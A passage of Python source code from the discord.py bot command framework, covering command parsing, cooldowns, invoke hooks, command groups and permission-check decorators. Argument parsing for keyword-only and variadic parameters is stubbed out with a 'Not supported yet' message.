``?one two three`` the parent name would be ``one two``. """ entries = [] command = self # command.parent is type-hinted as GroupMixin some attributes are resolved via MRO while command.parent is not None: # type: ignore command = command.parent # type: ignore entries.append(command.name) # type: ignore return ' '.join(reversed(entries)) @property def parents(self) -> List[Group]: """List[:class:`Group`]: Retrieves the parents of this command. If the command has no parents then it returns an empty :class:`list`. For example in commands ``?a b c test``, the parents are ``[c, b, a]``. .. versionadded:: 1.1 """ entries = [] command = self while command.parent is not None: # type: ignore command = command.parent # type: ignore entries.append(command) return entries @property def root_parent(self) -> Optional[Group]: """Optional[:class:`Group`]: Retrieves the root parent of this command. If the command has no parents then it returns ``None``. For example in commands ``?a b c test``, the root parent is ``a``. """ if not self.parent: return None return self.parents[-1] @property def qualified_name(self) -> str: """:class:`str`: Retrieves the fully qualified command name. This is the full parent name with the command name as well. For example, in ``?one two three`` the qualified name would be ``one two three``. """ parent = self.full_parent_name if parent: return parent + ' ' + self.name else: return self.name def __str__(self) -> str: return self.qualified_name async def _parse_arguments(self, ctx: Context) -> None: ctx.args = [ctx] if self.cog is None else [self.cog, ctx] ctx.kwargs = {} args = ctx.args kwargs = ctx.kwargs iterator = iter(self.params.items()) if self.cog is not None: # we have 'self' as the first parameter so just advance # the iterator and resume parsing try: next(iterator) except StopIteration: raise discord.ClientException(f'Callback for {self.name} command is missing "self" parameter.') # next we have the 'ctx' as the next parameter try: next(iterator) except StopIteration: raise discord.ClientException(f'Callback for {self.name} command is missing "ctx" parameter.') for name, param in iterator: ctx.current_parameter = param if param.kind in (param.POSITIONAL_OR_KEYWORD, param.POSITIONAL_ONLY): transformed = await self.transform(ctx, param) args.append(transformed) else: print("Not supported yet :(") """ elif param.kind == param.KEYWORD_ONLY: # kwarg only param denotes "consume rest" semantics if self.rest_is_raw: converter = get_converter(param) argument = view.read_rest() kwargs[name] = await run_converters(ctx, converter, argument, param) else: kwargs[name] = await self.transform(ctx, param) break elif param.kind == param.VAR_POSITIONAL: if view.eof and self.require_var_positional: raise MissingRequiredArgument(param) while not view.eof: try: transformed = await self.transform(ctx, param) args.append(transformed) except RuntimeError: break """ async def call_before_hooks(self, ctx: Context) -> None: # now that we're done preparing we can call the pre-command hooks # first, call the command local hook: cog = self.cog if self._before_invoke is not None: # should be cog if @commands.before_invoke is used instance = getattr(self._before_invoke, '__self__', cog) # __self__ only exists for methods, not functions # however, if @command.before_invoke is used, it will be a function if instance: await self._before_invoke(instance, ctx) # type: ignore else: await self._before_invoke(ctx) # type: ignore # call the cog local hook if applicable: if cog is not None: hook = Cog._get_overridden_method(cog.cog_before_invoke) if hook is not None: await hook(ctx) # call the bot global hook if necessary hook = ctx.bot._before_invoke if hook is not None: await hook(ctx) async def call_after_hooks(self, ctx: Context) -> None: cog = self.cog if self._after_invoke is not None: instance = getattr(self._after_invoke, '__self__', cog) if instance: await self._after_invoke(instance, ctx) # type: ignore else: await self._after_invoke(ctx) # type: ignore # call the cog local hook if applicable: if cog is not None: hook = Cog._get_overridden_method(cog.cog_after_invoke) if hook is not None: await hook(ctx) hook = ctx.bot._after_invoke if hook is not None: await hook(ctx) def _prepare_cooldowns(self, ctx: Context) -> None: if self._buckets.valid: dt = ctx.message.edited_at or ctx.message.created_at current = dt.replace(tzinfo=datetime.timezone.utc).timestamp() bucket = self._buckets.get_bucket(ctx.message, current) if bucket is not None: retry_after = bucket.update_rate_limit(current) if retry_after: raise CommandOnCooldown(bucket, retry_after, self._buckets.type) # type: ignore async def prepare(self, ctx: Context) -> None: ctx.command = self if not await self.can_run(ctx): raise CheckFailure(f'The check functions for command {self.qualified_name} failed.') if self._max_concurrency is not None: # For this application, context can be duck-typed as a Message await self._max_concurrency.acquire(ctx) # type: ignore try: if self.cooldown_after_parsing: await self._parse_arguments(ctx) self._prepare_cooldowns(ctx) else: self._prepare_cooldowns(ctx) await self._parse_arguments(ctx) await self.call_before_hooks(ctx) except: if self._max_concurrency is not None: await self._max_concurrency.release(ctx) # type: ignore raise def is_on_cooldown(self, ctx: Context) -> bool: """Checks whether the command is currently on cooldown. Parameters ----------- ctx: :class:`.Context` The invocation context to use when checking the commands cooldown status. Returns -------- :class:`bool` A boolean indicating if the command is on cooldown. """ if not self._buckets.valid: return False bucket = self._buckets.get_bucket(ctx.message) dt = ctx.message.edited_at or ctx.message.created_at current = dt.replace(tzinfo=datetime.timezone.utc).timestamp() return bucket.get_tokens(current) == 0 def reset_cooldown(self, ctx: Context) -> None: """Resets the cooldown on this command. Parameters ----------- ctx: :class:`.Context` The invocation context to reset the cooldown under. """ if self._buckets.valid: bucket = self._buckets.get_bucket(ctx.message) bucket.reset() def get_cooldown_retry_after(self, ctx: Context) -> float: """Retrieves the amount of seconds before this command can be tried again. .. versionadded:: 1.4 Parameters ----------- ctx: :class:`.Context` The invocation context to retrieve the cooldown from. Returns -------- :class:`float` The amount of time left on this command's cooldown in seconds. If this is ``0.0`` then the command isn't on cooldown. """ if self._buckets.valid: bucket = self._buckets.get_bucket(ctx.message) dt = ctx.message.edited_at or ctx.message.created_at current = dt.replace(tzinfo=datetime.timezone.utc).timestamp() return bucket.get_retry_after(current) return 0.0 async def invoke(self, ctx: Context) -> None: await self.prepare(ctx) # terminate the invoked_subcommand chain. # since we're in a regular command (and not a group) then # the invoked subcommand is None. ctx.invoked_subcommand = None ctx.subcommand_passed = None injected = hooked_wrapped_callback(self, ctx, self.callback) await injected(*ctx.args, **ctx.kwargs) async def reinvoke(self, ctx: Context, *, call_hooks: bool = False) -> None: ctx.command = self await self._parse_arguments(ctx) if call_hooks: await self.call_before_hooks(ctx) ctx.invoked_subcommand = None try: await self.callback(*ctx.args, **ctx.kwargs) # type: ignore except: ctx.command_failed = True raise finally: if call_hooks: await self.call_after_hooks(ctx) def error(self, coro: ErrorT) -> ErrorT: """A decorator that registers a coroutine as a local error handler. A local error handler is an :func:`.on_command_error` event limited to a single command. However, the :func:`.on_command_error` is still invoked afterwards as the catch-all. Parameters ----------- coro: :ref:`coroutine <coroutine>` The coroutine to register as the local error handler. Raises ------- TypeError The coroutine passed is not actually a coroutine. """ if not asyncio.iscoroutinefunction(coro): raise TypeError('The error handler must be a coroutine.') self.on_error: Error = coro return coro def has_error_handler(self) -> bool: """:class:`bool`: Checks whether the command has an error handler registered. .. versionadded:: 1.7 """ return hasattr(self, 'on_error') def before_invoke(self, coro: HookT) -> HookT: """A decorator that registers a coroutine as a pre-invoke hook. A pre-invoke hook is called directly before the command is called. This makes it a useful function to set up database connections or any type of set up required. This pre-invoke hook takes a sole parameter, a :class:`.Context`. See :meth:`.Bot.before_invoke` for more info. Parameters ----------- coro: :ref:`coroutine <coroutine>` The coroutine to register as the pre-invoke hook. Raises ------- TypeError The coroutine passed is not actually a coroutine. """ if not asyncio.iscoroutinefunction(coro): raise TypeError('The pre-invoke hook must be a coroutine.') self._before_invoke = coro return coro def after_invoke(self, coro: HookT) -> HookT: """A decorator that registers a coroutine as a post-invoke hook. A post-invoke hook is called directly after the command is called. This makes it a useful function to clean-up database connections or any type of clean up required. This post-invoke hook takes a sole parameter, a :class:`.Context`. See :meth:`.Bot.after_invoke` for more info. Parameters ----------- coro: :ref:`coroutine <coroutine>` The coroutine to register as the post-invoke hook. Raises ------- TypeError The coroutine passed is not actually a coroutine. """ if not asyncio.iscoroutinefunction(coro): raise TypeError('The post-invoke hook must be a coroutine.') self._after_invoke = coro return coro @property def cog_name(self) -> Optional[str]: """Optional[:class:`str`]: The name of the cog this command belongs to, if any.""" return type(self.cog).__cog_name__ if self.cog is not None else None @property def short_doc(self) -> str: """:class:`str`: Gets the "short" documentation of a command. By default, this is the :attr:`.brief` attribute. If that lookup leads to an empty string then the first line of the :attr:`.help` attribute is used instead. """ if self.brief is not None: return self.brief if self.help is not None: return self.help.split('\n', 1)[0] return '' def _is_typing_optional(self, annotation: Union[T, Optional[T]]) -> TypeGuard[Optional[T]]: return getattr(annotation, '__origin__', None) is Union and type(None) in annotation.__args__ # type: ignore @property def signature(self) -> str: """:class:`str`: Returns a POSIX-like signature useful for help command output.""" if self.usage is not None: return self.usage params = self.clean_params if not params: return '' result = [] for name, param in params.items(): optional = False # postpone evaluation of if it's an optional argument annotation = param.annotation.converter origin = getattr(annotation, '__origin__', None) if origin is Union: none_cls = type(None) union_args = annotation.__args__ optional = union_args[-1] is none_cls if len(union_args) == 2 and optional: annotation = union_args[0] origin = getattr(annotation, '__origin__', None) if origin is Literal: name = '|'.join(f'"{v}"' if isinstance(v, str) else str(v) for v in annotation.__args__) if param.default is not param.empty: # We don't want None or '' to trigger the [name=value] case and instead it should # do [name] since [name=None] or [name=] are not exactly useful for the user. should_print = param.default if isinstance(param.default, str) else param.default is not None if should_print: result.append(f'[{name}={param.default}]') continue else: result.append(f'[{name}]') elif param.kind == param.VAR_POSITIONAL: if self.require_var_positional: result.append(f'<{name}...>') else: result.append(f'[{name}...]') elif optional: result.append(f'[{name}]') else: result.append(f'<{name}>') return ' '.join(result) async def can_run(self, ctx: Context) -> bool: """|coro| Checks if the command can be executed by checking all the predicates inside the :attr:`~Command.checks` attribute. This also checks whether the command is disabled. .. versionchanged:: 1.3 Checks whether the command is disabled or not Parameters ----------- ctx: :class:`.Context` The ctx of the command currently being invoked. Raises ------- :class:`CommandError` Any command error that was raised during a check call will be propagated by this function. Returns -------- :class:`bool` A boolean indicating if the command can be invoked. """ if not self.enabled: raise DisabledCommand(f'{self.name} command is disabled') original = ctx.command ctx.command = self try: if not await ctx.bot.can_run(ctx): raise CheckFailure(f'The global check functions for command {self.qualified_name} failed.') cog = self.cog if cog is not None: local_check = Cog._get_overridden_method(cog.cog_check) if local_check is not None: ret = await discord.utils.maybe_coroutine(local_check, ctx) if not ret: return False predicates = self.checks if not predicates: # since we have no checks, then we just return True. return True return await discord.utils.async_all(predicate(ctx) for predicate in predicates) # type: ignore finally: ctx.command = original class GroupMixin(Generic[CogT]): """A mixin that implements common functionality for classes that behave similar to :class:`.Group` and are allowed to register commands. Attributes ----------- all_commands: :class:`dict` A mapping of command name to :class:`.Command` objects. case_insensitive: :class:`bool` Whether the commands should be case insensitive. Defaults to ``False``. """ def __init__(self, *args: Any, **kwargs: Any) -> None: case_insensitive = kwargs.get('case_insensitive', False) self.all_commands: Dict[str, Command[CogT, Any, Any]] = _CaseInsensitiveDict() if case_insensitive else {} self.case_insensitive: bool = case_insensitive super().__init__(*args, **kwargs) @property def commands(self) -> Set[Command[CogT, Any, Any]]: """Set[:class:`.Command`]: A unique set of commands without aliases that are registered.""" return set(self.all_commands.values()) def recursively_remove_all_commands(self) -> None: for command in self.all_commands.copy().values(): if isinstance(command, GroupMixin): command.recursively_remove_all_commands() self.remove_command(command.name) def add_command(self, command: Command[CogT, Any, Any]) -> None: """Adds a :class:`.Command` into the internal list of commands. This is usually not called, instead the :meth:`~.GroupMixin.command` or :meth:`~.GroupMixin.group` shortcut decorators are used instead. .. versionchanged:: 1.4 Raise :exc:`.CommandRegistrationError` instead of generic :exc:`.ClientException` Parameters ----------- command: :class:`Command` The command to add. Raises ------- :exc:`.CommandRegistrationError` If the command or its alias is already registered by different command. TypeError If the command passed is not a subclass of :class:`.Command`. """ if not isinstance(command, Command): raise TypeError('The command passed must be a subclass of Command') if isinstance(self, Command): command.parent = self if command.name in self.all_commands: raise CommandRegistrationError(command.name) self.all_commands[command.name] = command for alias in command.aliases: if alias in self.all_commands: self.remove_command(command.name) raise CommandRegistrationError(alias, alias_conflict=True) self.all_commands[alias] = command def remove_command(self, name: str) -> Optional[Command[CogT, Any, Any]]: """Remove a :class:`.Command` from the internal list of commands. This could also be used as a way to remove aliases. Parameters ----------- name: :class:`str` The name of the command to remove. Returns -------- Optional[:class:`.Command`] The command that was removed. If the name is not valid then ``None`` is returned instead. """ command = self.all_commands.pop(name, None) # does not exist if command is None: return None if name in command.aliases: # we're removing an alias so we don't want to remove the rest return command # we're not removing the alias so let's delete the rest of them. for alias in command.aliases: cmd = self.all_commands.pop(alias, None) # in the case of a CommandRegistrationError, an alias might conflict # with an already existing command. If this is the case, we want to # make sure the pre-existing command is not removed. if cmd is not None and cmd != command: self.all_commands[alias] = cmd return command def walk_commands(self) -> Generator[Command[CogT, Any, Any], None, None]: """An iterator that recursively walks through all commands and subcommands. .. versionchanged:: 1.4 Duplicates due to aliases are no longer returned Yields ------ Union[:class:`.Command`, :class:`.Group`] A command or group from the internal list of commands. """ for command in self.commands: yield command if isinstance(command, GroupMixin): yield from command.walk_commands() def get_command(self, name: str) -> Optional[Command[CogT, Any, Any]]: """Get a :class:`.Command` from the internal list of commands. This could also be used as a way to get aliases. The name could be fully qualified (e.g. ``'foo bar'``) will get the subcommand ``bar`` of the group command ``foo``. If a subcommand is not found then ``None`` is returned just as usual. Parameters ----------- name: :class:`str` The name of the command to get. Returns -------- Optional[:class:`Command`] The command that was requested. If not found, returns ``None``. """ # fast path, no space in name. if ' ' not in name: return self.all_commands.get(name) names = name.split() if not names: return None obj = self.all_commands.get(names[0]) if not isinstance(obj, GroupMixin): return obj for name in names[1:]: try: obj = obj.all_commands[name] # type: ignore except (AttributeError, KeyError): return None return obj @overload def command( self, name: str = ..., cls: Type[Command[CogT, P, T]] = ..., *args: Any, **kwargs: Any, ) -> Callable[ [ Union[ Callable[Concatenate[CogT, ContextT, P], Coro[T]], Callable[Concatenate[ContextT, P], Coro[T]], ] ], Command[CogT, P, T]]: ... @overload def command( self, name: str = ..., cls: Type[CommandT] = ..., *args: Any, **kwargs: Any, ) -> Callable[[Callable[Concatenate[ContextT, P], Coro[Any]]], CommandT]: ... def command( self, name: str = MISSING, cls: Type[CommandT] = MISSING, *args: Any, **kwargs: Any, ) -> Callable[[Callable[Concatenate[ContextT, P], Coro[Any]]], CommandT]: """A shortcut decorator that invokes :func:`.command` and adds it to the internal command list via :meth:`~.GroupMixin.add_command`. Returns -------- Callable[..., :class:`Command`] A decorator that converts the provided method into a Command, adds it to the bot, then returns it. """ def decorator(func: Callable[Concatenate[ContextT, P], Coro[Any]]) -> CommandT: kwargs.setdefault('parent', self) result = command(name=name, cls=cls, *args, **kwargs)(func) self.add_command(result) return result return decorator @overload def group( self, name: str = ..., cls: Type[Group[CogT, P, T]] = ..., *args: Any, **kwargs: Any, ) -> Callable[[ Union[ Callable[Concatenate[CogT, ContextT, P], Coro[T]], Callable[Concatenate[ContextT, P], Coro[T]] ] ], Group[CogT, P, T]]: ... @overload def group( self, name: str = ..., cls: Type[GroupT] = ..., *args: Any, **kwargs: Any, ) -> Callable[[Callable[Concatenate[ContextT, P], Coro[Any]]], GroupT]: ... def group( self, name: str = MISSING, cls: Type[GroupT] = MISSING, *args: Any, **kwargs: Any, ) -> Callable[[Callable[Concatenate[ContextT, P], Coro[Any]]], GroupT]: """A shortcut decorator that invokes :func:`.group` and adds it to the internal command list via :meth:`~.GroupMixin.add_command`. Returns -------- Callable[..., :class:`Group`] A decorator that converts the provided method into a Group, adds it to the bot, then returns it. """ def decorator(func: Callable[Concatenate[ContextT, P], Coro[Any]]) -> GroupT: kwargs.setdefault('parent', self) result = group(name=name, cls=cls, *args, **kwargs)(func) self.add_command(result) return result return decorator class Group(GroupMixin[CogT], Command[CogT, P, T]): """A class that implements a grouping protocol for commands to be executed as subcommands. This class is a subclass of :class:`.Command` and thus all options valid in :class:`.Command` are valid in here as well. Attributes ----------- invoke_without_command: :class:`bool` Indicates if the group callback should begin parsing and invocation only if no subcommand was found. Useful for making it an error handling function to tell the user that no subcommand was found or to have different functionality in case no subcommand was found. If this is ``False``, then the group callback will always be invoked first. This means that the checks and the parsing dictated by its parameters will be executed. Defaults to ``False``. case_insensitive: :class:`bool` Indicates if the group's commands should be case insensitive. Defaults to ``False``. """ def __init__(self, *args: Any, **attrs: Any) -> None: self.invoke_without_command: bool = attrs.pop('invoke_without_command', False) super().__init__(*args, **attrs) def copy(self: GroupT) -> GroupT: """Creates a copy of this :class:`Group`. Returns -------- :class:`Group` A new instance of this group. """ ret = super().copy() for cmd in self.commands: ret.add_command(cmd.copy()) return ret # type: ignore async def invoke(self, ctx: Context) -> None: ctx.invoked_subcommand = None ctx.subcommand_passed = None early_invoke = not self.invoke_without_command if early_invoke: await self.prepare(ctx) view = ctx.view previous = view.index view.skip_ws() trigger = view.get_word() if trigger: ctx.subcommand_passed = trigger ctx.invoked_subcommand = self.all_commands.get(trigger, None) if early_invoke: injected = hooked_wrapped_callback(self, ctx, self.callback) await injected(*ctx.args, **ctx.kwargs) ctx.invoked_parents.append(ctx.invoked_with) # type: ignore if trigger and ctx.invoked_subcommand: ctx.invoked_with = trigger await ctx.invoked_subcommand.invoke(ctx) elif not early_invoke: # undo the trigger parsing view.index = previous view.previous = previous await super().invoke(ctx) async def reinvoke(self, ctx: Context, *, call_hooks: bool = False) -> None: ctx.invoked_subcommand = None early_invoke = not self.invoke_without_command if early_invoke: ctx.command = self await self._parse_arguments(ctx) if call_hooks: await self.call_before_hooks(ctx) view = ctx.view previous = view.index view.skip_ws() trigger = view.get_word() if trigger: ctx.subcommand_passed = trigger ctx.invoked_subcommand = self.all_commands.get(trigger, None) if early_invoke: try: await self.callback(*ctx.args, **ctx.kwargs) # type: ignore except: ctx.command_failed = True raise finally: if call_hooks: await self.call_after_hooks(ctx) ctx.invoked_parents.append(ctx.invoked_with) # type: ignore if trigger and ctx.invoked_subcommand: ctx.invoked_with = trigger await ctx.invoked_subcommand.reinvoke(ctx, call_hooks=call_hooks) elif not early_invoke: # undo the trigger parsing view.index = previous view.previous = previous await super().reinvoke(ctx, call_hooks=call_hooks) # Decorators @overload def command( name: str = ..., cls: Type[Command[CogT, P, T]] = ..., **attrs: Any, ) -> Callable[ [ Union[ Callable[Concatenate[CogT, ContextT, P], Coro[T]], Callable[Concatenate[ContextT, P], Coro[T]], ] ] , Command[CogT, P, T]]: ... @overload def command( name: str = ..., cls: Type[CommandT] = ..., **attrs: Any, ) -> Callable[ [ Union[ Callable[Concatenate[CogT, ContextT, P], Coro[Any]], Callable[Concatenate[ContextT, P], Coro[Any]], ] ] , CommandT]: ... def command( name: str = MISSING, cls: Type[CommandT] = MISSING, **attrs: Any ) -> Callable[ [ Union[ Callable[Concatenate[ContextT, P], Coro[Any]], Callable[Concatenate[CogT, ContextT, P], Coro[T]], ] ] , Union[Command[CogT, P, T], CommandT]]: """A decorator that transforms a function into a :class:`.Command` or if called with :func:`.group`, :class:`.Group`. By default the ``help`` attribute is received automatically from the docstring of the function and is cleaned up with the use of ``inspect.cleandoc``. If the docstring is ``bytes``, then it is decoded into :class:`str` using utf-8 encoding. All checks added using the :func:`.check` & co. decorators are added into the function. There is no way to supply your own checks through this decorator. Parameters ----------- name: :class:`str` The name to create the command with. By default this uses the function name unchanged. cls The class to construct with. By default this is :class:`.Command`. You usually do not change this. attrs Keyword arguments to pass into the construction of the class denoted by ``cls``. Raises ------- TypeError If the function is not a coroutine or is already a command. """ if cls is MISSING: cls = Command # type: ignore def decorator(func: Union[ Callable[Concatenate[ContextT, P], Coro[Any]], Callable[Concatenate[CogT, ContextT, P], Coro[Any]], ]) -> CommandT: if isinstance(func, Command): raise TypeError('Callback is already a command.') return cls(func, name=name, **attrs) return decorator @overload def group( name: str = ..., cls: Type[Group[CogT, P, T]] = ..., **attrs: Any, ) -> Callable[ [ Union[ Callable[Concatenate[CogT, ContextT, P], Coro[T]], Callable[Concatenate[ContextT, P], Coro[T]], ] ] , Group[CogT, P, T]]: ... @overload def group( name: str = ..., cls: Type[GroupT] = ..., **attrs: Any, ) -> Callable[ [ Union[ Callable[Concatenate[CogT, ContextT, P], Coro[Any]], Callable[Concatenate[ContextT, P], Coro[Any]], ] ] , GroupT]: ... def group( name: str = MISSING, cls: Type[GroupT] = MISSING, **attrs: Any, ) -> Callable[ [ Union[ Callable[Concatenate[ContextT, P], Coro[Any]], Callable[Concatenate[CogT, ContextT, P], Coro[T]], ] ] , Union[Group[CogT, P, T], GroupT]]: """A decorator that transforms a function into a :class:`.Group`. This is similar to the :func:`.command` decorator but the ``cls`` parameter is set to :class:`Group` by default. .. versionchanged:: 1.1 The ``cls`` parameter can now be passed. """ if cls is MISSING: cls = Group # type: ignore return command(name=name, cls=cls, **attrs) # type: ignore def check(predicate: Check) -> Callable[[T], T]: r"""A decorator that adds a check to the :class:`.Command` or its subclasses. These checks could be accessed via :attr:`.Command.checks`. These checks should be predicates that take in a single parameter taking a :class:`.Context`. If the check returns a ``False``\-like value then during invocation a :exc:`.CheckFailure` exception is raised and sent to the :func:`.on_command_error` event. If an exception should be thrown in the predicate then it should be a subclass of :exc:`.CommandError`. Any exception not subclassed from it will be propagated while those subclassed will be sent to :func:`.on_command_error`. A special attribute named ``predicate`` is bound to the value returned by this decorator to retrieve the predicate passed to the decorator. This allows the following introspection and chaining to be done: .. code-block:: python3 def owner_or_permissions(**perms): original = commands.has_permissions(**perms).predicate async def extended_check(ctx): if ctx.guild is None: return False return ctx.guild.owner_id == ctx.author.id or await original(ctx) return commands.check(extended_check) .. note:: The function returned by ``predicate`` is **always** a coroutine, even if the original function was not a coroutine. .. versionchanged:: 1.3 The ``predicate`` attribute was added. Examples --------- Creating a basic check to see if the command invoker is you. .. code-block:: python3 def check_if_it_is_me(ctx): return ctx.message.author.id == 85309593344815104 @bot.command() @commands.check(check_if_it_is_me) async def only_for_me(ctx): await ctx.send('I know you!') Transforming common checks into its own decorator: .. code-block:: python3 def is_me(): def predicate(ctx): return ctx.message.author.id == 85309593344815104 return commands.check(predicate) @bot.command() @is_me() async def only_me(ctx): await ctx.send('Only you!') Parameters ----------- predicate: Callable[[:class:`Context`], :class:`bool`] The predicate to check if the command should be invoked. """ def decorator(func: Union[Command, CoroFunc]) -> Union[Command, CoroFunc]: if isinstance(func, Command): func.checks.append(predicate) else: if not hasattr(func, '__commands_checks__'): func.__commands_checks__ = [] func.__commands_checks__.append(predicate) return func if inspect.iscoroutinefunction(predicate): decorator.predicate = predicate else: @functools.wraps(predicate) async def wrapper(ctx): return predicate(ctx) # type: ignore decorator.predicate = wrapper return decorator # type: ignore def check_any(*checks: Check) -> Callable[[T], T]: r"""A :func:`check` that is added that checks if any of the checks passed will pass, i.e. using logical OR. If all checks fail then :exc:`.CheckAnyFailure` is raised to signal the failure. It inherits from :exc:`.CheckFailure`. .. note:: The ``predicate`` attribute for this function **is** a coroutine. .. versionadded:: 1.3 Parameters ------------ \*checks: Callable[[:class:`Context`], :class:`bool`] An argument list of checks that have been decorated with the :func:`check` decorator. Raises ------- TypeError A check passed has not been decorated with the :func:`check` decorator. Examples --------- Creating a basic check to see if it's the bot owner or the server owner: .. code-block:: python3 def is_guild_owner(): def predicate(ctx): return ctx.guild is not None and ctx.guild.owner_id == ctx.author.id return commands.check(predicate) @bot.command() @commands.check_any(commands.is_owner(), is_guild_owner()) async def only_for_owners(ctx): await ctx.send('Hello mister owner!') """ unwrapped = [] for wrapped in checks: try: pred = wrapped.predicate except AttributeError: raise TypeError(f'{wrapped!r} must be wrapped by commands.check decorator') from None else: unwrapped.append(pred) async def predicate(ctx: Context) -> bool: errors = [] for func in unwrapped: try: value = await func(ctx) except CheckFailure as e: errors.append(e) else: if value: return True # if we're here, all checks failed raise CheckAnyFailure(unwrapped, errors) return check(predicate) def has_role(item: Union[int, str]) -> Callable[[T], T]: """A :func:`.check` that is added that checks if the member invoking the command has the role specified via the name or ID specified. If a string is specified, you must give the exact name of the role, including caps and spelling. If an integer is specified, you must give the exact snowflake ID of the role. If the message is invoked in a private message context then the check will return ``False``. This check raises one of two special exceptions, :exc:`.MissingRole` if the user is missing a role, or :exc:`.NoPrivateMessage` if it is used in a private message. Both inherit from :exc:`.CheckFailure`. .. versionchanged:: 1.1 Raise :exc:`.MissingRole` or :exc:`.NoPrivateMessage` instead of generic :exc:`.CheckFailure` Parameters ----------- item: Union[:class:`int`, :class:`str`] The name or ID of the role to check. """ def predicate(ctx: Context) -> bool: if ctx.guild is None: raise NoPrivateMessage() # ctx.guild is None doesn't narrow ctx.author to Member if isinstance(item, int): role = discord.utils.get(ctx.author.roles, id=item) # type: ignore else: role = discord.utils.get(ctx.author.roles, name=item) # type: ignore if role is None: raise MissingRole(item) return True return check(predicate) def has_any_role(*items: Union[int, str]) -> Callable[[T], T]: r"""A :func:`.check` that is added that checks if the member invoking the command has **any** of the roles specified. This means that if they have one out of the three roles specified, then this check will return `True`. Similar to :func:`.has_role`\, the names or IDs passed in must be exact. This check raises one of two special exceptions, :exc:`.MissingAnyRole` if the user is missing all roles, or :exc:`.NoPrivateMessage` if it is used in a private message. Both inherit from :exc:`.CheckFailure`. .. versionchanged:: 1.1 Raise :exc:`.MissingAnyRole` or :exc:`.NoPrivateMessage` instead of generic :exc:`.CheckFailure` Parameters ----------- items: List[Union[:class:`str`, :class:`int`]] An argument list of names or IDs to check that the member has roles wise. Example -------- .. code-block:: python3 @bot.command() @commands.has_any_role('Library Devs', 'Moderators', 492212595072434186) async def cool(ctx): await ctx.send('You are cool indeed') """ def predicate(ctx): if ctx.guild is None: raise NoPrivateMessage() # ctx.guild is None doesn't narrow ctx.author to Member getter = functools.partial(discord.utils.get, ctx.author.roles) # type: ignore if any(getter(id=item) is not None if isinstance(item, int) else getter(name=item) is not None for item in items): return True raise MissingAnyRole(list(items)) return check(predicate) def bot_has_role(item: int) -> Callable[[T], T]: """Similar to :func:`.has_role` except checks if the bot itself has the role. This check raises one of two special exceptions, :exc:`.BotMissingRole` if the bot is missing the role, or :exc:`.NoPrivateMessage` if it is used in a private message. Both inherit from :exc:`.CheckFailure`. .. versionchanged:: 1.1 Raise :exc:`.BotMissingRole` or :exc:`.NoPrivateMessage` instead of generic :exc:`.CheckFailure` """ def predicate(ctx): if ctx.guild is None: raise NoPrivateMessage() me = ctx.me if isinstance(item, int): role = discord.utils.get(me.roles, id=item) else: role = discord.utils.get(me.roles, name=item) if role is None: raise BotMissingRole(item) return True return check(predicate) def bot_has_any_role(*items: int) -> Callable[[T], T]: """Similar to :func:`.has_any_role` except checks if the bot itself has any of the roles listed. This check raises one of two special exceptions, :exc:`.BotMissingAnyRole` if the bot is missing all roles, or :exc:`.NoPrivateMessage` if it is used in a private message. Both inherit from :exc:`.CheckFailure`. .. versionchanged:: 1.1 Raise :exc:`.BotMissingAnyRole` or :exc:`.NoPrivateMessage` instead of generic checkfailure """ def predicate(ctx): if ctx.guild is None: raise NoPrivateMessage() me = ctx.me getter = functools.partial(discord.utils.get, me.roles) if any(getter(id=item) is not None if isinstance(item, int) else getter(name=item) is not None for item in items): return True raise BotMissingAnyRole(list(items)) return check(predicate) def has_permissions(**perms: bool) -> Callable[[T], T]: """A :func:`.check` that is added that checks if the member has all of the permissions necessary. Note that this check operates on the current channel permissions, not the guild wide permissions. The permissions passed in must be exactly like the properties shown under :class:`.discord.Permissions`. This check raises a special exception, :exc:`.MissingPermissions` that is inherited from :exc:`.CheckFailure`. Parameters ------------ perms An argument list of permissions to check for. Example --------- .. code-block:: python3 @bot.command() @commands.has_permissions(manage_messages=True) async def test(ctx): await ctx.send('You can manage messages.') """ invalid = set(perms) - set(discord.Permissions.VALID_FLAGS) if invalid: raise TypeError(f"Invalid permission(s): {", ".join(invalid)}") def predicate(ctx: Context) -> bool: ch = ctx.channel permissions = ch.permissions_for(ctx.author) # type: ignore missing = [perm for perm, value in perms.items() if getattr(permissions, perm) != value] if not missing: return True raise MissingPermissions(missing) return check(predicate) def bot_has_permissions(**perms: bool) -> Callable[[T], T]: """Similar to :func:`.has_permissions` except checks if the bot itself has the permissions listed. This check raises a special exception, :exc:`.BotMissingPermissions` that is inherited from :exc:`.CheckFailure`. """ invalid = set(perms) - set(discord.Permissions.VALID_FLAGS) if invalid: raise TypeError(f"Invalid permission(s): {", ".join(invalid)}") def predicate(ctx: Context) -> bool: guild = ctx.guild me = guild.me if guild is not None else ctx.bot.user permissions = ctx.channel.permissions_for(me) # type: ignore missing = [perm for perm, value in perms.items() if getattr(permissions, perm) != value] if not missing: return True raise BotMissingPermissions(missing) return check(predicate) def has_guild_permissions(**perms: bool) -> Callable[[T], T]: """Similar to :func:`.has_permissions`, but operates on guild wide permissions instead of the current channel permissions. If this check is called in a DM context, it will raise an exception, :exc:`.NoPrivateMessage`. .. versionadded:: 1.3 """ invalid = set(perms) - set(discord.Permissions.VALID_FLAGS) if invalid: raise TypeError(f"Invalid permission(s): {", ".join(invalid)}") def predicate(ctx: Context) -> bool: if not ctx.guild: raise NoPrivateMessage permissions = ctx.author.guild_permissions # type: ignore missing = [perm for perm, value in perms.items() if getattr(permissions, perm) != value] if not missing: return True raise MissingPermissions(missing) return check(predicate) def bot_has_guild_permissions(**perms: bool) -> Callable[[T], T]: """Similar to :func:`.has_guild_permissions`, but checks the bot members guild permissions. .. versionadded:: 1.3 """ invalid = set(perms) - set(discord.Permissions.VALID_FLAGS) if invalid: raise TypeError(f"Invalid permission(s): {", ".join(invalid)}") def predicate(ctx: Context) -> bool: if not ctx.guild: raise NoPrivateMessage permissions = ctx.me.guild_permissions # type: ignore missing = [perm for perm, value in perms.items() if getattr(permissions, perm) != value] if not missing: return True raise BotMissingPermissions(missing) return check(predicate) def dm_only() -> Callable[[T], T]: """A :func:`.check` that indicates this command must only be used in a DM context. Only private messages are allowed when using the command. This check raises a special exception, :exc:`.PrivateMessageOnly` that is inherited from :exc:`.CheckFailure`. .. versionadded:: 1.1 """ def predicate(ctx: Context) -> bool: if ctx.guild is not None: raise PrivateMessageOnly() return True return check(predicate) def guild_only() -> Callable[[T], T]: """A :func:`.check` that indicates this command must only be used in a guild context only. Basically, no private messages are allowed when using the command. This check raises a special exception, :exc:`.NoPrivateMessage` that is inherited from :exc:`.CheckFailure`. """ def predicate(ctx: Context) -> bool: if ctx.guild is None: raise NoPrivateMessage() return True return 